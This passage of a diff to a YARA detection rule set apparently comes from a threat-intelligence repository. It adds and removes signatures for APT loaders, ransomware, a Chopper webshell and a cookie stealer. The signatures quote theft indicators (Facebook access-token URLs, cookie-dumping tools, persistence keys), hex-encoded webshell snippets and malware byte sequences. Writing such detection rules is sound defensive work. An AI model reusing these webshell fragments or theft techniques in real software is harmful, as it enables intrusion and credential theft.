"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/SideWinder/APT_SideWinder_NET_Loader_Aug_2020_1.yar#L3-L21" + id = "e6328342-0d08-58a3-befe-15de41649763" + date = "2019-11-21" + modified = "2019-11-21" + reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L85-L116" license_url = "N/A" - logic_hash = "b40127cd845d75ef81eb230c12635da00dd77fc53e5886c253a2466627aa8534" + logic_hash = "84c7f064fb813934e397d81dad8af6288cb919e046cd2bb16f9ca6dc348c43c2" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4" + hash1 = "270b398b697f10b66828afe8d4f6489a8de48b04a52a029572412ae4d20ff89b" strings: - $s1 = "DUSER.dll" fullword wide - $s2 = "UHJvZ3JhbQ==" fullword wide - $s3 = ".tmp " fullword wide - $s4 = "U3RhcnQ=" fullword wide - $s5 = "Gadgets" fullword ascii - $s6 = "AdapterInterfaceTemplateObject" fullword ascii - $s7 = "FileRipper" fullword ascii - $s8 = "copytight @" fullword wide + $x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\AFFA0BDC.tmp" fullword wide + $x2 = "C:\\Users\\J\\AppData\\Local\\Temp\\AFFA0BDC.tmp" fullword wide + $x3 = "C:\\Windows\\system32\\FM20.DLL" fullword ascii + $x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd" fullword ascii + $x5 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" fullword ascii + $x6 = "C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" fullword ascii + $x7 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide + $x8 = "*\\G{BA45F137-16B2-487D-9A21-F38179C0576C}#2.0#0#C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide + $s9 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide + $s10 = "lIySgefa86jIfdEkSZVDoSs5BDkcalCieNBN4EqfVaEs2wWD4OjpTiOBqDrL3d9WCaDAKZpoJPRnoacfQPhucmy69axznNmRbRY12v3ez5PdAAnpAl5m5NUqKHBKCYb5" ascii + $s11 = "35mvkZ9ZvIttuHSTUKWZCdOsh5j4Y1p2pJ3vi5onOXnMcEPIUIK1UWAYq3noPeaDtAdUOxKYvIlNZbqMpJjqpxhCidfpQ9GJXStKA44w7UFlKV9oMK8f5Tn6tKMKsviw" ascii + $s12 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide + $s13 = "verkar.dll" fullword ascii + $s14 = "intc.dll" fullword ascii + $s15 = "YjAygups4wPzNU7lNIGBuFbv6Triw8rxEPLSjrYSKXdUV8QuzbwJvdHshfBvdh66er47iobvTX1FCqI8d6RuKRcBhsLdYCOC1hPEdTllabYHlcZ1FDsgyLuwoCZYM7Fq" ascii + $s16 = "MinuetsOs.dll" fullword wide + $s17 = "KaBYL8xLRpN7VMzibXEzxh2GetwfB6MY9k3dRCNncC5eiyKNTaTrcoUDi4TrLrkULX7KSvAHjrw4lXxPRSvBmvWUzz5WRwKTskBtBa4xIlhT1ZruGeI36SIqamksANYW" ascii + $s18 = "XmhvJDfd16Hxk6eRMKJ7sqYIVneFVN7iUzRF8or7LKNKW9bhf5a7V5OGwIIvyJrm8yMUoITytLvRMoVWm7z1NawYTkjzP5HbtBLxwp3GkLMjJ74iWVjBjzI8cWadyuRy" ascii + $s19 = "Sx3mdokmfv27AYhtFublOb5Exec1r1b5LAAbsRHrjLKTWiG4K9dKXbuQBxY9mt4nu7u9ygaWWTcczlRpGhpsXzgKgTI52IfZRxyZWHFD8pXd9sqqOJBedLy4ZT3OHe5n" ascii + $s20 = "C:\\Windows\\system32\\stdole2.tlb" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 4KB and ( ( pe.exports ( "FileRipper" ) and pe.exports ( "Gadgets" ) ) and 5 of them ) + uint16( 0 ) == 0xcfd0 and filesize < 5000KB and 1 of ( $x* ) and 4 of them } rule ARKBIRD_SOLG_Mal_Stealer_NET_Redline_Aug_2020_1 : FILE { @@ -156007,293 +155557,235 @@ rule ARKBIRD_SOLG_Mal_Stealer_NET_Redline_Aug_2020_1 : FILE condition: uint16( 0 ) == 0x5a4d and filesize < 90KB and 15 of them } -rule ARKBIRD_SOLG_RAN_Mountlocker_May_2021_1 : FILE -{ - meta: - description = "Detect the Mountlocker ransomware" - author = "Arkbird_SOLG" - id = "0bc0d341-4658-500e-b487-1993e5431560" - date = "2020-05-12" - modified = "2021-05-16" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_MountLocker_May_2021_1.yara#L1-L20" - license_url = "N/A" - logic_hash = "c0826d4c740b5c46b704b42e002602dd0cda2b6d1bf0ba5431877be8bd600b64" - score = 75 - quality = 75 - tags = "FILE" - hash1 = "0aa8099c5a65062ba4baec8274e1a0650ff36e757a91312e1755fded50a79d47" - hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963" - hash3 = "5eae13527d4e39059025c3e56dad966cf67476fe7830090e40c14d0a4046adf0" - tlp = "White" - adversary = "MountLocker" - - strings: - $seq_Sep_2020_1 = { 40 53 48 81 ec f0 02 00 00 b9 e8 03 00 00 ff 15 ec 1a 00 00 bb 68 00 00 00 48 8d 4c 24 70 44 8b c3 33 d2 e8 9c 00 00 00 ba 04 01 00 00 89 5c 24 70 48 8d 8c 24 e0 00 00 00 ff 15 51 1a 00 00 48 8d 15 a2 9c 00 00 48 8d 8c 24 e0 00 00 00 ff 15 64 1a 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 48 8d 94 24 e0 00 00 00 48 8d 44 24 70 45 33 c0 48 89 44 24 40 33 c9 48 83 64 24 38 00 48 83 64 24 30 00 c7 44 24 28 10 00 00 00 83 64 24 20 00 ff 15 c1 19 00 00 8b d8 85 c0 74 16 48 8b 4c 24 58 ff 15 50 1a 00 00 48 8b 4c 24 50 ff 15 45 1a 00 00 8b c3 48 81 c4 f0 02 } - $seq_Sep_2020_2 = { 68 00 00 00 f0 6a 01 68 a0 51 00 10 57 8d 45 f8 89 5d f4 50 89 7d f8 89 7d fc ff 15 30 50 00 10 85 c0 0f 84 81 00 00 00 8d 45 fc 50 57 57 68 14 01 00 00 68 d0 d0 00 10 ff 75 f8 ff 15 08 50 00 10 8b f0 85 f6 74 26 68 00 01 00 00 8d 45 f4 50 68 60 42 01 10 57 6a 01 57 ff 75 fc ff 15 04 50 00 10 ff 75 fc 8b f0 ff 15 00 50 00 10 57 ff 75 f8 ff 15 0c 50 00 10 } - $seq_Jan_2021_1 = { 48 21 4d 77 4c 8d 05 [2] 00 00 48 21 4d 6f ?? 8b ?? 48 8d 4d 77 [6-9] c7 44 24 20 00 00 00 f0 ff 15 [2] 00 00 85 c0 0f 84 [2] 00 00 48 8b 4d 77 48 8d 45 6f 48 89 44 24 28 48 8d [3] 00 00 83 64 24 20 00 [2-5] c9 41 b8 14 01 00 00 ff 15 [2] 00 00 8b d8 85 c0 74 3b 48 8b 4d 6f 48 8d 45 67 c7 44 24 30 00 01 00 00 45 33 c9 48 89 44 24 28 ?? 8b ?? 48 8d 05 [2-3] 00 33 d2 48 89 44 24 20 ff 15 [2] 00 00 48 8b 4d 6f 8b d8 ff 15 [2] 00 00 48 8b 4d 77 33 d2 ff 15 [2] 00 00 85 db [4-12] 00 00 48 8d } - $seq_Jan_2021_2 = { 4c 8d 05 20 47 00 00 41 8b ce 48 8d 15 1e 47 00 00 e8 [2] 00 00 ba 04 01 00 00 48 8d 4c 24 40 ff 15 ?? 43 00 00 85 c0 75 12 b8 5c 00 00 00 c7 44 24 40 43 00 3a 00 66 89 44 24 44 89 6c 24 38 4c 8d 8c 24 78 02 00 00 48 89 6c 24 30 48 8d 4c 24 40 48 89 6c 24 28 45 33 c0 33 d2 48 89 6c 24 20 66 89 6c 24 46 ff 15 6b 44 00 00 44 8b 84 24 78 02 00 00 48 8d 15 e4 45 00 00 85 c0 b9 bd 07 a2 41 44 0f 44 c1 41 8b c8 44 89 84 24 78 02 00 00 c1 c9 09 41 8b c0 89 4c 24 28 45 8b c8 c1 c8 06 48 8d 4c 24 40 41 c1 c9 03 89 44 24 20 ff 15 8b 44 00 00 4c 8d 44 24 40 33 d2 33 c9 ff 15 ?? 42 00 00 48 85 c0 74 1b ff 15 [2] 00 00 3d b7 00 00 00 74 0e bf 01 00 00 00 48 8d 15 fe 45 00 00 eb 09 8b fd 48 8d 15 a3 45 00 00 41 8b } - condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 1 of ( $seq* ) -} -rule ARKBIRD_SOLG_RAN_Astrolocker_May_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Sidewinder_NET_Loader_Aug_2020_1 : FILE { meta: - description = "Detect the Astrolocker ransomware" + description = "Detected the NET loader used by SideWinder group (August 2020)" author = "Arkbird_SOLG" - id = "f2c2c96a-277e-575b-8d80-4729f4a1cfe4" - date = "2020-05-12" - modified = "2021-05-16" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_Astrolocker_May_2021_1.yara#L1-L18" + id = "7334a3b8-cd56-5820-a073-5bd22076644f" + date = "2020-08-24" + modified = "2020-08-24" + reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/SideWinder/APT_SideWinder_NET_Loader_Aug_2020_1.yar#L3-L21" license_url = "N/A" - logic_hash = "7e50642f5f864b7cffeb5ccf4581ac7566da24fd5361a3303a860f036cd6d439" - score = 50 - quality = 75 + logic_hash = "b40127cd845d75ef81eb230c12635da00dd77fc53e5886c253a2466627aa8534" + score = 75 + quality = 73 tags = "FILE" - hash1 = "7fe1686f4afb9907f880a5e77bf30bc00fae71980f57ca70b60b7b1716456a2f" - hash2 = "b26749b17ca691328ba67ee49d4d9997c101966c607ab578afad204459b7bf8f" - tlp = "White" - adversary = "-" - level = "Experimental" + hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4" strings: - $seq_Mar_2021_1 = { 6a 00 6a 00 ff 15 88 60 41 00 81 3d cc e6 b8 02 57 0f 00 00 8b 0d b4 c4 41 00 8b 15 b8 c4 41 00 a1 bc c4 41 00 89 4c 24 2c 89 54 24 20 89 44 24 24 75 14 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 28 60 41 00 8b 2d a8 60 41 00 c7 44 24 1c 20 00 00 00 8d 9b 00 00 00 00 8b 54 24 18 8b ce c1 e1 04 03 4c 24 20 8b c6 c1 e8 05 89 4c 24 14 8d 0c 32 89 44 24 10 8b 44 24 24 01 44 24 10 31 4c 24 14 81 3d cc e6 b8 02 f5 03 00 00 c7 05 0c da b8 02 36 06 ea e9 75 08 6a 00 ff 15 5c 60 41 00 8b 4c 24 14 31 4c 24 10 83 3d cc e6 b8 02 42 75 30 6a 00 6a 00 6a 00 ff d5 6a 30 8d 54 24 3c 6a 00 52 c7 44 24 40 00 00 00 00 e8 5a 5e ff ff 83 c4 0c 6a 00 8d 44 24 38 50 6a 00 ff 15 00 60 41 00 2b 5c 24 10 8b cb c1 e1 04 81 3d cc e6 b8 02 8c 07 00 00 89 4c 24 14 75 09 6a 00 6a 00 e8 d2 eb fe ff } - $seq_Apr_2021_1 = { 89 44 24 38 48 8b 05 78 4e 00 00 48 89 05 b9 9e 00 00 48 8b 05 52 4e 00 00 48 89 05 b3 9e 00 00 48 8b 05 4c 4e 00 00 48 89 05 ad 9e 00 00 48 8b 05 46 4e 00 00 48 89 05 a7 9e 00 00 8b 05 51 9e } + $s1 = "DUSER.dll" fullword wide + $s2 = "UHJvZ3JhbQ==" fullword wide + $s3 = ".tmp " fullword wide + $s4 = "U3RhcnQ=" fullword wide + $s5 = "Gadgets" fullword ascii + $s6 = "AdapterInterfaceTemplateObject" fullword ascii + $s7 = "FileRipper" fullword ascii + $s8 = "copytight @" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 1 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize < 4KB and ( ( pe.exports ( "FileRipper" ) and pe.exports ( "Gadgets" ) ) and 5 of them ) } -rule ARKBIRD_SOLG_APT_UNC2452_Webshell_Chopper_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT_C_61_Dec_2021_1 : FILE { meta: - description = "Detect exploit listener in the exchange configuration for Webshell Chopper used by UNC2452 group" + description = "Detect similiar structures used in the APT-C-61 maldocs" author = "Arkbird_SOLG" - id = "174af8e1-0df0-5ad7-ac7d-a208f64cb765" - date = "2021-03-07" - modified = "2021-03-07" + id = "48054d32-6613-5a54-b19c-8e9b8f747c14" + date = "2021-12-13" + modified = "2021-12-14" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-07/UNC2452/APT_UNC2452_Webshell_Chopper_Mar_2021_1.yar#L1-L26" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-13/APT_APT_C_61_Dec_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "77bd7e5c10aa9cf2b407b37a76954b4eed163e36653e1fb3cde5de853f824cf0" + logic_hash = "be742a0ebc53f09872d5231cf367bb1e3ae04c1a70ce94610b6597e426eeb389" score = 75 - quality = 73 + quality = 69 tags = "FILE" + hash1 = "2cc0f8a85df2b2b0dd4c6942125bf82e647e9ac7bb91467ac5c480cf5e1dd4ff" + hash2 = "193c921f7ab12c0066014ffad37a98ee57ecd5101dae2ddeb5e39200eb704431" + hash3 = "4ec021cc3dbb2b0de7313e41063026e3ef4777baf4dec2bdad7cd2d515bf0fe2" + tlp = "white" + adversary = "APT-C-61" strings: - $l1 = { 20 68 74 74 70 3a 2f 2f ?? 2f 3c 73 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 22 63 23 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 76 6f 69 64 20 50 61 67 65 5f 4c 6f 61 64 28 6f 62 6a 65 63 74 20 73 65 6e 64 65 72 2c 20 45 76 65 6e 74 41 72 67 73 20 65 29 7b 69 66 20 28 52 65 71 75 65 73 74 2e 46 69 6c 65 73 2e 43 6f 75 6e 74 21 3d 30 29 20 7b 20 52 65 71 75 65 73 74 2e 46 69 6c 65 73 5b 30 5d 2e 53 61 76 65 41 73 28 53 65 72 76 65 72 2e 4d 61 70 50 61 74 68 28 22 [5-14] 22 29 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e } - $l2 = { 68 74 74 70 3a 2f 2f ?? 2f 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 53 63 72 69 70 74 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 66 75 6e 63 74 69 6f 6e 20 50 61 67 65 5f 4c 6f 61 64 28 29 7b 65 76 61 6c 28 [-] 2c 22 75 6e 73 61 66 65 22 29 3b 7d 3c 2f 73 63 72 69 70 74 3e } - $c1 = { 5c 4f 41 42 20 28 44 65 66 61 75 6c 74 20 57 65 62 20 53 69 74 65 29 } - $c2 = "ExternalUrl" fullword ascii - $c3 = { 49 49 53 3a 2f 2f [10-30] 2f 57 33 53 56 43 2f [1-3] 2f 52 4f 4f 54 2f 4f 41 42 } - $c4 = "FrontEnd\\HttpProxy\\OAB" fullword ascii - $c5 = "/Configuration/Schema/ms-Exch-OAB-Virtual-Directory" fullword ascii + $s1 = { 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 3e 53 45 54 20 [1-4] 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e } + $s2 = { 3c 2f 77 3a 72 3e 3c 77 3a 66 6c 64 53 69 6d 70 6c 65 20 77 3a 69 6e 73 74 72 3d 22 20 20 51 55 4f 54 45 20 20 } + $s3 = { 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e } + $s4 = { 3c 77 3a 72 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 44 44 45 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e 3c 2f 77 3a 72 3e } condition: - filesize > 1KB and 1 of ( $l* ) and 3 of ( $c* ) + uint16( 0 ) == 0x4b50 and filesize > 20KB and all of ( $s* ) } - -rule ARKBIRD_SOLG_MAL_Stealer_Cookie_July_2020_1 : FILE +rule ARKBIRD_SOLG_APT_Sidewinder_Nov_2020_1 : FILE { meta: - description = "Detect strings used by EdgeCookiesView and ChromeCookiesView in the ressources of the Cookie Stealer" + description = "Detect Sidewinder DLL decoder algorithm" author = "Arkbird_SOLG" - id = "02a68973-73b2-572a-a358-f0edc921773a" - date = "2020-07-09" - modified = "2020-07-09" - reference = "https://twitter.com/JAMESWT_MHT/status/1281154921811841026" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-09/MAL_Stealer_Cookie_July_2020_1.yar#L3-L32" + id = "9e948949-f38d-5a76-a34c-965ec9be070d" + date = "2020-11-14" + modified = "2020-11-15" + reference = "https://twitter.com/hexfati/status/1325397305051148292" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-15/APT_SideWinder_Nov_2020_1.yar#L1-L12" license_url = "N/A" - logic_hash = "63747567a9dd68ac0d16b67910957cb9bc28d7237f431ac0c76403ca810e1b94" + logic_hash = "661eb5510ff0aa59b38b2c023653f0a23867a2813d854fbd0a7a6b657d9ba671" score = 75 - quality = 50 + quality = 75 tags = "FILE" - hash1 = "47b2b56c961cdc78bf06eed30737232ba99424b51648418bacacd522a12ad339" + hash1 = "8d7ad2c603211a67bb7abf2a9fe65aefc993987dc804bf19bafbefaaca066eaa" strings: - $x1 = "C:\\Users\\admin1\\AppData\\Local\\Temp\\samplebin.exe" fullword wide - $x2 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_index=5&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccount" ascii - $x3 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispa" ascii - $x4 = "Cookie:" fullword ascii - $x5 = "autoLoginCookie name=" fullword ascii - $x6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36" fullword wide - $s7 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_priority=HIGH&_reqName=adaccount&_reqSrc=AdsCMAccountSp" ascii - $s8 = "https://www.facebook.com/login/device-based/login/" fullword wide - $s9 = "api/?sid=" fullword wide - $s10 = "/deleteregkey" fullword ascii - $s11 = "Old cookies folder of Edge/IE" fullword ascii - $s12 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii - $s13 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii - $s14 = "ChromeCookiesView.exe" fullword wide - $s15 = "EdgeCookiesView.exe" fullword wide - $s16 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide - $s17 = "login/device-based/login" fullword ascii - $s18 = "c_user" fullword wide - $s19 = "c:\\Projects\\VS2005\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" fullword ascii + $s = { 13 30 05 00 ?? 00 00 00 01 00 00 11 ?? ?? 00 00 ?? ?? ?? 00 00 [30-80] 2B 16 07 08 8F 1? } condition: - uint16( 0 ) == 0x5a4d and filesize < 2600KB and ( pe.imphash ( ) == "89c8a19cc2d9172de5901988530c700d" or ( ( 3 of ( $x* ) ) and ( 8 of ( $s* ) ) ) ) + uint16( 0 ) == 0x5a4d and filesize > 3KB and $s } -rule ARKBIRD_SOLG_MAL_Mailo_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT29_Fatduke_Mar_2021_1 : FILE { meta: - description = "Detect the Mach-O malware" + description = "Detect Fatduke implant used by APT29 group" author = "Arkbird_SOLG" - id = "4c975200-fce4-5a2a-b565-6d397c4e0b1c" - date = "2021-06-09" - modified = "2021-06-21" - reference = "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/MAIL-O/MAL_MailO_Jun_2021_1.yara#L1-L19" + id = "aed6d6f0-1baf-5842-8ced-e07f213ef1ff" + date = "2021-03-08" + modified = "2021-03-10" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_Fatduke_Mar_2021_1.yar#L1-L25" license_url = "N/A" - logic_hash = "165c5fd90039c14ef1fa1e80bb7f14761e991b09560c5f1da2ddf9a0eadee623" - score = 75 - quality = 75 + logic_hash = "2aec00355b14ec81f577527d3eba1f682ce96cc9e6ac7727b3865ddf01ddf69a" + score = 50 + quality = 67 tags = "FILE" - hash1 = "3a77f108e32b34e184f9ade66292cd73abbd297b4829ba63a973a400cc7f3f9f" - hash2 = "603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7" - tlp = "White" - adversary = "TA428" + hash1 = "0be57d1244fefc679feb7aa9996e539481be7b8f4c9246817f81caa8c2f61a57" + level = "Experimental" strings: - $seq1 = { 48 8b ce e8 9e 0c f9 ff 48 8b 5c 24 20 48 8b 4c 24 28 49 8b d7 41 ff c5 ff 15 20 72 08 00 4c 8b f8 48 85 c0 0f 85 4c ff ff ff 48 8b b4 24 88 00 00 00 48 8b 4c 24 28 33 d2 ff 15 f7 71 08 00 4c 8b ac 24 90 00 00 00 4d 85 e4 0f 84 7f 01 00 00 48 8b ac 24 80 00 00 00 4d 8b c4 48 8b cd 48 8b d6 ff 53 48 49 8b cc 8b f0 e8 88 2c f8 ff 4c 8b bc 24 98 00 00 00 85 c0 0f 8e fb 00 00 00 0f 1f 84 00 00 00 00 00 41 8b d6 49 8b cc e8 95 2e f8 ff 48 8b f8 44 3b f6 75 75 49 89 07 e9 c4 00 00 00 48 8b 5c 24 20 45 33 c0 48 8b ce 41 8d 50 01 e8 a1 4b f9 ff 85 c0 0f 84 43 ff ff ff 49 8b d7 48 8b cb e8 ce e7 ff ff 48 8b d8 48 85 c0 0f 84 2c ff ff ff 49 8b cf ff 15 71 71 08 00 8b 15 ff e0 12 00 4c 8b c3 48 8b ce 48 89 03 e8 45 0c f9 ff 4d 85 e4 75 08 e8 2b 2b f8 ff 4c 8b e0 48 8b d6 49 8b cc e8 cd 2c f8 ff e9 fa fe ff ff 8b 15 ce e0 12 00 48 8b cf e8 ca 0b f9 ff 48 8b d8 48 85 c0 74 39 48 8b 48 10 ff 15 d8 70 08 00 48 8b 4b 08 33 d2 ff 15 d4 70 08 00 48 8b 0b 48 85 c9 74 06 ff 15 0e 71 08 00 41 b8 3a 06 00 00 48 8d 15 b1 71 0d 00 } - $seq2 = { 4c 8d 84 24 d0 00 00 00 4c 89 b4 24 90 01 00 00 48 8d 15 d8 a2 17 00 48 8b cd e8 50 e1 ff ff 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 0c 83 7c 24 44 01 75 05 41 b6 01 eb 03 45 32 f6 48 8b 5c 24 28 45 84 f6 74 14 f6 85 74 0e 00 00 08 74 0b 48 8b d3 48 8b ce e8 15 03 00 00 48 8b cb e8 5d f4 ff ff 45 84 f6 74 17 f7 85 74 0e 00 00 00 10 00 00 74 0b 48 8b d3 48 8b cd e8 d1 01 00 00 48 83 bd 38 07 00 00 00 74 33 b2 01 48 8b cd e8 1d f1 fe ff 48 8b 8d 40 07 00 00 45 33 c0 48 8b d3 ff 95 38 07 00 00 33 d2 48 8b cd 44 8b f0 e8 fd f0 fe ff 41 83 fe 02 75 51 41 b4 01 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 5a 48 8d 4c 24 50 e8 ac 81 02 00 44 8b 44 24 40 44 8b c8 48 8b d3 48 8b ce e8 d9 f8 ff ff 8b f8 85 c0 74 37 48 8b d3 48 8b ce e8 68 eb ff ff b8 07 00 00 00 83 ff 01 0f 44 f8 } - $seq3 = { 48 8b d0 48 8d 4d 80 41 ff d4 48 8b cb ff 15 f2 fa 1e 00 48 8d 95 e0 00 00 00 48 8d 4d 80 41 ff d7 f6 47 3c 02 48 8d 8d 90 00 00 00 48 0f 44 4c 24 50 e8 f6 04 00 00 4c 8b f0 48 85 c0 0f 84 05 fe ff ff 48 8b 47 28 49 8b d6 4c 8b 0f 4c 8b 47 10 48 85 c0 74 53 48 8d 8d e0 00 00 00 48 89 4c 24 40 48 8d 0d 94 90 15 00 48 89 44 24 38 8b 47 38 89 44 24 30 48 8b 47 08 48 89 44 24 28 48 8b 44 24 58 48 89 44 24 20 e8 e0 42 fc ff 48 8b 4f 28 48 8d 15 b9 8e 15 00 48 8b d8 e8 3d 7a fd ff 85 c0 74 2a ff 47 38 eb 25 48 8d 85 e0 00 00 00 48 89 44 24 28 48 8d 0d a1 90 15 00 48 8b 44 24 58 48 89 44 24 20 e8 a2 42 fc ff 48 8b d8 49 8b ce ff 15 2e fa 1e 00 48 85 db 0f 84 68 fd ff ff 4c 8b 47 20 4d 85 c0 74 27 48 8b d3 48 8d 0d aa 90 15 00 e8 75 42 fc ff 48 8b cb 4c 8b f0 ff 15 01 fa 1e 00 4d 85 f6 0f 84 3b fd ff ff 49 8b de 4c 8b 47 30 4d 85 c0 74 27 48 8b d3 48 8d 0d 8a 90 15 00 e8 45 42 fc ff 48 8b cb 4c 8b f0 ff 15 d1 f9 1e 00 4d 85 f6 0f 84 0b fd ff ff 49 8b de f6 47 3c 02 74 27 48 8b d3 48 8d 0d 75 90 15 00 e8 18 42 fc ff 48 8b cb 48 8b f8 ff 15 a4 f9 1e 00 48 } - $seq4 = { 48 81 ec 08 03 00 00 48 8b 05 e2 61 23 00 48 33 c4 48 89 84 24 f0 02 00 00 33 d2 48 8d 8c 24 e0 00 00 00 41 b8 08 02 00 00 e8 c2 f5 16 00 41 b8 04 01 00 00 48 8d 94 24 e0 00 00 00 48 8d 0d c5 94 21 00 ff 15 07 ee 18 00 48 8d 8c 24 e0 00 00 00 ff 15 d1 ef 18 00 85 c0 74 63 33 d2 48 8d 4c 24 70 44 8d 42 68 e8 85 f5 16 00 b8 05 00 00 00 c7 44 24 70 68 00 00 00 66 89 84 24 b0 00 00 00 48 8d 8c 24 e0 00 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 45 33 c0 48 8d 44 24 70 33 d2 48 89 44 24 40 33 c0 48 89 44 24 38 48 89 44 24 30 89 44 24 28 89 44 24 20 ff 15 52 ed 18 00 48 8b 8c 24 f0 02 00 00 48 33 cc e8 c2 cf 16 00 48 } - $seq5 = { 48 89 74 24 48 48 8d 0d 99 5e 18 00 4c 89 74 24 50 48 8b d5 4c 89 7c 24 58 e8 5f 13 17 00 4c 8d b7 0c 08 00 00 49 63 06 85 c0 0f 84 b0 00 00 00 48 8b c8 48 c1 e1 03 ff 15 a8 5f 22 00 48 8b f0 48 85 c0 0f 84 04 01 00 00 45 33 ff ba 00 01 00 00 41 8b df 90 48 8b 07 48 85 c0 74 16 4c 39 78 28 74 08 8b cb ff c3 48 89 04 ce 48 8b 00 48 85 c0 75 ea 48 83 c7 08 48 83 ea 01 75 d8 49 63 16 4c 8d 0d ce 01 00 00 41 b8 08 00 00 00 48 8b ce e8 c0 14 17 00 85 db 74 3e 4c 8b f6 49 8b 0e e8 c1 03 00 00 48 8b f8 48 8b cd 48 85 c0 0f 84 85 00 00 00 4c 8b c0 48 8d 15 58 5a 18 00 e8 33 a8 ff ff 48 8b cf ff 15 22 5f 22 00 41 ff c7 49 83 c6 08 44 } + $seq1 = { 5b 8d 8d 5c ff ff ff c7 85 5c ff ff ff 48 74 74 70 51 8d 85 6c ff ff ff c7 85 60 ff ff ff 4f 70 65 6e 50 51 8d 8d 14 fc ff ff c7 85 64 ff ff ff 52 65 71 75 c7 85 68 ff ff ff 65 73 74 57 e8 ce 7b f2 ff c6 45 fc 33 83 78 14 10 72 02 8b 00 50 8d 8d 90 fc ff ff e8 16 